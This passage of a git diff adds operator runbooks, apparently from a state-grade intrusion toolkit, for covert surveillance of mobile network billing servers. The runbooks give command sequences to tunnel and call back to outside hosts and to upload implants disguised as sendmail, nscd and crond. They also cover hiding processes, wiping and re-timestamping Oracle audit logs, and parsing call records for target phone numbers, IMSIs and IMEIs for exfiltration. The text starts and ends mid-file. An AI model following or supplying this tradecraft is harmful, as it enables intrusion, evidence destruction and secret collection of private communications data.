2118613 4674902 4132633 4120784 6953511 9499141 4234749 5061901 4749643 + #-beep 10 + + + #-exit + #-exit + + + #### RECONNECT TOP WINDOW: + + #noclient 192.168.254.253:27890 + #w + #-nstun 10.211.4.1:32754 + #w + #-beep 4 + + + + #### RECONNECT BOTTOM WINDOW: + + #noclient 192.168.254.253:27892 + #w + #-nstun 10.211.4.1:32754 + #w + #-beep 4 + + + + + #### OLD NOPEN (with memory leak) + #### start new servers before 5 hours have passed: + + ## on alien + -put /current/up/morerats/noserver-3.0.2-sparc.sun.solaris-2.5.1 sendmail + D=-l28890 PATH=. sendmail + -rm sendmail + # burn old sendmail pid + + ## on hp + PATH=. nscd + # kill old nscd + + + + #### 8. If you need to grep through old files, cdp only takes one file at a + #### time as input, use a script similar to this + + #### First modify the local copy of /current/etc/gs.cdrloop and comment out the -put and -rm of cdp + #### Run the script manually as below, then edit the gs script to do the -put/-rm again + + -lt /share/a1338/ne_q3ic/nb/convert/output/*dF* + + # this may be big: + #-lt /share/a1338/ne_q3ic/nb/convert/backup/0504*dF* + + + ### choose something similar to below: + + # Ex.: for i in /share/a1338/ne_q3ic/nb/convert/output/04080[56]*dF* ; do echo entries from $i; ./lvmkd $i | egrep "(4749693|2729811|4618511|2293473|5503501|5989018|5998901|5529352|9152367|5942379|4649643|4749694|6330687|4101748|2118613|4674902|4132633|4120784|6953511|9499141|4234749|5061901|4749643)"; done >> T:/current/down/pasttwodays + + # Ex.: for i in /share/a1338/ne_q3ic/nb/convert/output/*dF* ; do echo entries from $i; ./lvmkd $i | egrep "(4837951|5928813|9480166|5908884|5864304|5040368)"; done >> T:/current/down/cdrs-1025-1029 + + for i in /share/a1338/ne_q3ic/nb/convert/output/0411*dF* ; do echo entries from $i; ./lvmkd $i | egrep "(29327|2316062|5925521|3825903|5763725|9113709)"; done >> T:/current/down/cdrs-1101-1105 + + #-put /current/up/e10cdrparse.v3.HP-UXB.11.00 lvmkd + + for i in /share/a1338/ne_q3ic/nb/convert/output/050430*dF* ; do echo entries from $i; ./lvmkd $i | egrep "(35377400830022|35339200076038|35081689723220)"; done >> T:/current/down/cdr.imei.2Jun2005.txt + + /mnt/zip/cdrprint -a /current/down/argfiles/arfile4.txt -f /current/down/cdr.imei.2Jun2005.txt > /current/down/cdrpretty4G.2Jun05.txt + + + #### Put all of your numbers (the ones you are grepping for) in a file (ARGSFILE), space delimited, + #### on multiple lines if needed + #### To pretty print: + # Ex: /current/bin/cdrprint -a ARGSFILE -f /current/down/cdrs-1025-1029 > cdrpretty + + /current/bin/cdrprint -a ARGSFILE -f OUTPUT_FROM_PARSER > cdrpretty + + + + + #### 8.5: OPTIONAL: This will wake us up if we get a hit (run in a local window): + + while [ 1 ] ; do clear ; ls -alrt cdrpretty*|tail -5 ; [ -s cdrpretty ] && break ; sleep 2; done ; while [ 1 ] ; do clear ; more cdrpretty |cat ; echo -en "\a" ; sleep 2 ; done + + ### OR: + while [ 1 ] ; do clear ; ls -alrt cdrpretty*|tail -5 ; [ -s cdrpretty ] && + break ; cat `ls -arlt cdrpretty*|grep -v " 0 " | tail -1 | awk '{print $9}'` ; + dots 4; done ; while [ 1 ] ; do clear ; more cdrpretty |cat ; echo -en "\a" ; + sleep 2 ; done + + ### OR: + while [ 1 ] ; do clear ; ls -alrt cdrpretty*|tail -5 ; [ -s cdrpretty ] && break ; dots 30; done ; while [ 1 ] ; do clear ; more cdrpretty |cat ; echo -en "\a" ; sleep 2 ; done + + ### OR: + while [ 1 ] ; do clear ; ls -alrt cdrpretty*|tail -5 ; [ -s cdrpretty ] && + break ; cat `ls -arlt cdrpretty*|grep -v " 0 " | tail -1 | awk '{print $9}'` ; + dots 4; done ; clear;cat cdrpretty ;beeps 44444 + + + + + + +#### 9. If we get a hit, use this to get pretty printed output to a dos-formatted floppy; +#### Then handcarry floppy to PINGOP area + +# Put all of your numbers (the ones you are grepping for) in a file (ARGSFILE), space delimited, +# on multiple lines if needed + +# To pretty print: +# Ex: /current/bin/cdrprint -a ARGSFILE -f /current/down/cdrs-1025-1029 > cdrpretty + +/current/bin/cdrprint -a ARGSFILE -f OUTPUT_FROM_PARSER > cdrpretty + + # or + +/mnt/zip/cdrprint -a /current/down/argfile.combined -f /current/down/cdrhits.combined > /current/down/cdrpretty.combined.txt +/mnt/zip/cdrprint -a /current/down/cdr.uniques -f /current/down/cdrhits.chain > /current/down/cdrpretty.chain.txt +unix2dos /current/down/cdrpretty.combined.txt +unix2dos /current/down/cdrpretty.chain.txt +zip /current/down/cdr.20050501.zip /current/down/cdr* + +/current/bin/cdrprint -a ARGSFILE -f OUTPUT_FROM_PARSER > cdrpretty + + +cp /current/down/cdrpretty /tmp/cdrpretty; cd /tmp; unix2dos /tmp/cdrpretty; mount /mnt/floppy; cp /tmp/cdrpretty /mnt/floppy/cdrpretty.txt; ls -la /mnt/floppy; umount /mnt/floppy; cd /current/down + + + + + +################################################################################ +################ Running ORACLE using HIDELITE on server-vas-i10 +### from alien +-irtun 10.171.2.50 45665 -ue -Y + +### to run the oracle scripts, you must do them outside of an INCISION window +### therefore, you can use hidelite to unhide your nopen window +### hidelite is keyed with the target's INCISION keys +### you must run hidelite on a window with a parent PID of "1" so +### do a callback to alien and run hidelite in the callback window + +### Hidelite +### Create a callback window +-nrtun NOPEN_PORT +-call 10.140.0.40 NOPEN_PORT + +-put /mnt/zip/hidelite.server-vas-i10.mobilink.net.pk___10.171.2.50 /tmp/nscd +-ls -t /platform/SUNW,SystemEngine/ + +### To unhide your callback window: +./nscd -u -p NOPENPID + +### SHould now not be viewable +-ls -t /platform/SUNW,SystemEngine/ + +### Run your oracle commands in the callback window AFTER you unhide +### When done, rehide your window + +### To hide again +./nscd -h -p NOPENPID + +### SHould now be able to see this again +-ls -t /platform/SUNW,SystemEngine/ + + +### Cleanup the logs created from the oracle scripts: +-ls -t /opt/mnt/oracle/product/9.2.0/rdbms/audit +-rm +-touch /opt/mnt/oracle/product/9.2.0/rdbms/audit/ora_1473.aud /opt/mnt/oracle/product/9.2.0/rdbms/audit + + + +#### BAIL from Alien - WOOHOOOOOOOO!!!!!!!!!! + + diff --git a/Linux/doc/old/etc/user.tool.cursehappy.COMMON b/Linux/doc/old/etc/user.tool.cursehappy.COMMON new file mode 100644 index 0000000..11f5725 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.cursehappy.COMMON @@ -0,0 +1,327 @@ +################ CURSEHAPPY ######################### +############### PARSING ################################################################### + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Rec type - record type correlates with ProjectName, valid values: eh, ls, ss, wb +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.cursehappy.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# Format of each type of argument: +# p123456789 - phone number +# s123456789 - IMSI +# e123456789 - IMEI +# c123/456 - Cell/LAC (no leading 0's) + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + + + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the cursehappy commands. + +### Typical file locations per host: + +########################## wholeblue: +# tpmw01 10.3.4.55 +# tpmw02 10.3.4.56 + +### verifies isb, khi, and lhr directories: +ls -ld /tp/med/datastore/collect/siemens_msc_* +ls -ld /tp/med/datastore/collect/siemens_msc_*/.tmp_ncr +ls -ld /tp/med/archive/collect/siemens_msc_* +ls -ld /tp/med/archive/collect/siemens_msc_*/.tmp_ncr + +### shows oldest and newest files in directories: +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | tail -10 + +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | tail -10 + + +# isbapro1 10.5.7.51 +# nothing new +-lt /u01/product_evdp/evident/data_store/collect +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | tail -10 + +-lt /u03/archive/collect +# newer stuff +ls -latr /u03/archive/collect/siemens_msc_isb01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | tail -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | wc -l +# old stuff: +ls -latr /u03/archive/collect/siemens_msc_khi01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_khi01 | tail -10 + + +########################## editionhaze: + +ls -latr /u06/saba/CDR/out/MS* | head -10 +ls -latr /u06/saba/CDR/out/MS* | tail -10 +ls -latr /u06/saba/CDR/out/MS* | wc -l + +########################## liquidsteel: + +########################## sicklestar: + +### magnum: CURSEHAPPY not working on all SS .usd files :-( +### Try these first, should be all of them in one spot +ls -latr /usd_archive/mc_storage/*usd | head -10 +ls -latr /usd_archive/mc_storage/*usd | tail -10 + +### If none in previous ones... +ls -latr /sys1/var/billing/out_coll/*usd | head -10 +ls -latr /sys1/var/billing/out_coll/*usd | tail -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | head -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | tail -10 + +ls -latr /sys1/var/billing/msc_is2 | tail -20 + +########################## CURSEHAPPY ######################################################## +############################################################################################### + +### Now, encrypt the ascii list...first make sure you have the encryption tool: +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### If cryptTool not in PATH, change your PATH or insert full path in command + +### to encrypt one at a time...skip to next comment to encrypt all at once: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### to encrypt all at the same time: +for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done + +ls -l +file argfile*.enc + +### encrypt the def files + +for i in /current/up/cursedefs/*.def ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o /current/up/cursedefs/`basename $i .def`.enc -k CRYPTKEY -b ; done + +ls -l +file /current/up/cursedefs/*.enc + +### encrypt the def files + + + +### Tips for running the CURSEHAPPY 4.0 + + ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! + ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional + ### passes are needed for the date range + ### DO NOT use -loglevel if also using >L: or >T: (mixed output corrupts the decryption) + ### The phone list is NOT deleted automatically in v3.2 + ### remove it between each run as a practice + +### Useful options: +-n name of text file containing phone numbers +-files list of files to parse (can contain wildcards) optional - same as no option +-d output optional fields +-all all record output (no search performed) +-loglevel [#] level of info emitted via stderr:0,1,2,3 +-def definition file (required) +-lb leave behind mode + Upload the parser (CURSEHAPPY) and called it crond +# put up the parser tool +mkdir /tmp/.scsi +-cd /tmp/.scsi + +-put /current/up/cursehappy4 crond + +##### Upload the encrypted phone list as adm, modify each parser command to have the +##### correct directory and date range of files to parse, then run the parser: + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + +############ argfile 1 + +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +-put /current/down/argfiles/argfile1.enc adm +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1 +-beep 15 + + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile1.enc adm +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[012]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1.more +-beep 15 + + +############ argfile 2 + +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +-put /current/down/argfiles/argfile2.enc adm +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2 +-beep 15 + + +### Run again if needed for same tasking +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +-put /current/down/argfiles/argfile2.enc adm +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2.more +-beep 15 + + +############ argfile 3 + +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +-put /current/down/argfiles/argfile3.enc adm +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3 +-beep 15 + + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile3.enc adm +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3.more +-beep 15 + + +############# +############# for loglevel testing (local file should be ascii?) +############# + +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +-put /current/down/argfiles/argfile1.enc adm +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -w e -loglevel 2 -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.test +-beep 15 + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + + +cd /current/down +ls -latr cdr*enc* + +# to decrypt individually: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc1 -o cdrhits.cursehappy.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc2 -o cdrhits.cursehappy.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done +ls -latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep crond +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + + + +###### +###### copy DECRYPTED data to media +###### +ls -l cdr*txt* +mz +cp cdr*txt* /mnt/zip*/PROJECTNAME +ls -l /mnt/zip*/PROJECTNAME +uz + + +##### +##### clean up +##### +-rm crond adm adm~ +-lt +-cd /tmp +-rm .scsi +-lt + +w +ps -ef | sort +-lt / + +-burnBURN + diff --git a/Linux/doc/old/etc/user.tool.cursehappy.preversion4.COMMON b/Linux/doc/old/etc/user.tool.cursehappy.preversion4.COMMON new file mode 100644 index 0000000..9368d1d --- /dev/null +++ b/Linux/doc/old/etc/user.tool.cursehappy.preversion4.COMMON @@ -0,0 +1,326 @@ +################ CURSEHAPPY ######################### +############### PARSING ################################################################### + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Rec type - record type correlates with ProjectName, valid values: eh, ls, ss, wb +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/RECTYPE/RECTYPE/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.cursehappy.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# Format of each type of argument: +# p123456789 - phone number +# s123456789 - IMSI +# e123456789 - IMEI +# c123/456 - Cell/LAC (no leading 0's) + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + + + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the cursehappy commands. + +### Typical file locations per host: + +########################## wholeblue: +# tpmw01 10.3.4.55 +# tpmw02 10.3.4.56 + +### verifies isb, khi, and lhr directories: +ls -ld /tp/med/datastore/collect/siemens_msc_* +ls -ld /tp/med/datastore/collect/siemens_msc_*/.tmp_ncr +ls -ld /tp/med/archive/collect/siemens_msc_* +ls -ld /tp/med/archive/collect/siemens_msc_*/.tmp_ncr + +### shows oldest and newest files in directories: +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | tail -10 + +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | tail -10 + + +# isbapro1 10.5.7.51 +# nothing new +-lt /u01/product_evdp/evident/data_store/collect +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | tail -10 + +-lt /u03/archive/collect +# newer stuff +ls -latr /u03/archive/collect/siemens_msc_isb01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | tail -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | wc -l +# old stuff: +ls -latr /u03/archive/collect/siemens_msc_khi01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_khi01 | tail -10 + + +########################## editionhaze: + +ls -latr /u06/saba/CDR/out/MS* | head -10 +ls -latr /u06/saba/CDR/out/MS* | tail -10 +ls -latr /u06/saba/CDR/out/MS* | wc -l + +########################## liquidsteel: + +########################## sicklestar: + +### magnum: CURSEHAPPY not working on all SS .usd files :-( +### Try these first, should be all of them in one spot +ls -latr /usd_archive/mc_storage/*usd | head -10 +ls -latr /usd_archive/mc_storage/*usd | tail -10 + +### If none in previous ones... +ls -latr /sys1/var/billing/out_coll/*usd | head -10 +ls -latr /sys1/var/billing/out_coll/*usd | tail -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | head -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | tail -10 + +ls -latr /sys1/var/billing/msc_is2 | tail -20 + +########################## CURSEHAPPY ######################################################## +############################################################################################### + +### Now, encrypt the ascii list...first make sure you have the encryption tool: +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### If cryptTool not in PATH, change your PATH or insert full path in command + +### to encrypt one at a time...skip to next comment to encrypt all at once: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### to encrypt all at the same time: +for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done + +ls -l +file argfile*.enc + +### Tips for running the CURSEHAPPY 3.2 + + ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! + ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional + ### passes are needed for the date range + ### DO NOT use -loglevel if also using >L: or >T: (mixed output corrupts the decryption) + ### The phone list is NOT deleted automatically in v3.2 + ### remove it between each run as a practice + +### Useful options: +-n name of text file containing phone numbers +-rt record type: eh, ls, ss, RECTYPE +-files list of files to parse (can contain wildcards) optional - same as no option +-d output optional fields +-all all record output (no search performed) +-loglevel [#] level of info emitted via stderr:0,1,2,3 + + +######## Upload the parser (CURSEHAPPY) and called it crond +# put up the parser tool +mkdir /tmp/.scsi +-cd /tmp/.scsi + +-put /current/up/cursehappy crond + + # or + +-put /mnt/zip*/cursehappy crond + +##### Upload the encrypted phone list as adm, modify each parser command to have the +##### correct directory and date range of files to parse, then run the parser: + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + +############ argfile 1 + +-put /current/down/argfiles/argfile1.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1 +-beep 15 + +### Remove tasking once crond is running +-rm adm + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile1.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[012]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1.more +-beep 15 + +-rm adm + +############ argfile 2 + +-put /current/down/argfiles/argfile2.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2 +-beep 15 + +### Remove tasking once crond is running +-rm adm + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile2.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2.more +-beep 15 + +-rm adm + +############ argfile 3 + +-put /current/down/argfiles/argfile3.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3 +-beep 15 + +### Remove tasking once crond is running +-rm adm + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile3.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3.more +-beep 15 + +-rm adm + + +############# +############# for loglevel testing (local file should be ascii?) +############# + +-put /current/down/argfiles/argfile1.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -w e -loglevel 2 -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.test +-beep 15 +-rm adm + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + + +cd /current/down +ls -latr cdr*enc* + +# to decrypt individually: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc1 -o cdrhits.cursehappy.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc2 -o cdrhits.cursehappy.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done +ls -latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep crond +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + + + +###### +###### copy 